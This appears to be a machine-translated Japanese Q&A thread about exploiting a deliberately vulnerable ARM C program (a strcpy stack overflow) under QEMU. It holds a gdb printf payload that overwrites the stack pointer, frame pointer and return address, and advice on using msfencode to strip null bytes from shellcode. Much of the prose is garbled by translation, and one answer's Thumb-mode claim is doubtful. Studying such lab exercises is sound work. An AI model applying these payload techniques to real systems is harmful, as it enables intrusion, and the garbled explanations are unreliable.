ARM Exploitation: Link について、Tiger Securityの研究論文をフォローしようとしています。
単純なスタックオーバーフローの悪用の場合、コードは次のとおりです。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void donuts(){
puts("Donuts...") ;
exit(0) ;
}
void vuln(char *arg) {
char buff[10] ;
strcpy(buff,arg);
}
int main (int argc,char **argv ){
vuln(argv[1]) ;
return 0;
}
しかし、Debianで実行すると、ARM UbuntuのQemuで実行されているマシンです。フレームポインターをいっぱいにするアドレスを配置する必要がある場合を除いて、すべて正常に動作します。スタックポインターと戻りアドレス。
したがって、(私の場合)GDBで実行する最終的な結果コードは次のようになります。
r `printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 4 bytes here]\x38\x84"`
私の場合:望ましい
SP : 0xbe8bac94
FP: 0x000084ac
Return Address: 0x00008438
FPの途中にnullバイトが含まれているため、これを悪用する方法はありますか?途中で\ xac\x84を使用できません。
特定のFP?が必要なのはなぜですか?保存されたFPは、vuln()
関数によって、対応するレジスタにロードされる必要があります。終了しますが、その関数はどのような方法でもアクセスしません。したがって、任意の値をとることができます。FPのロードバックは、直後に実行されるコードの利益のためです:通常は呼び出し元of vuln()
(彼はFPを取り戻したい)ですが、あなたの場合、あなたの悪用コードです。あなたはリターンアドレスをハイジャックするので、それはあなた次第です意味のないFPの値を処理する(これはあなたのコードです:FPのいくつかのゼロフリーのオペコードで)再計算させることができます) 。
編集:この記事 、特にセクション2.4(「レジスターでの既知の値の取得」)は啓発的かもしれません。
Nullバイトの問題がある場合は、nullバイトの除去に使用する前にシェルコードをエンコードしてください。メタスプロイトがあり、エンコーダーを使用できると思います。これがどのように機能するかです。
Shell = (" \x77\x... your shellcode")
file = open('shellcode.bin','w')
file.write(Shell)
file.close()
またはあなたも使うことができます
echo -e "shellcode" >> shellcode.bin
次を実行します
/msfencode -b '\x00' -i /pentest/exploits/shellcode.bin -t c
上記の方法がうまくいくことを願っています。幸運を!
あなたの仮定は間違っています。 FPの完全な4バイトアドレスを使用する必要はありません。あなたのCPUはサムモードを理解するので。その結果、エクスプロイトは次のようになります。
printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 2 bytes without \x00\x00 here]\x38\x84"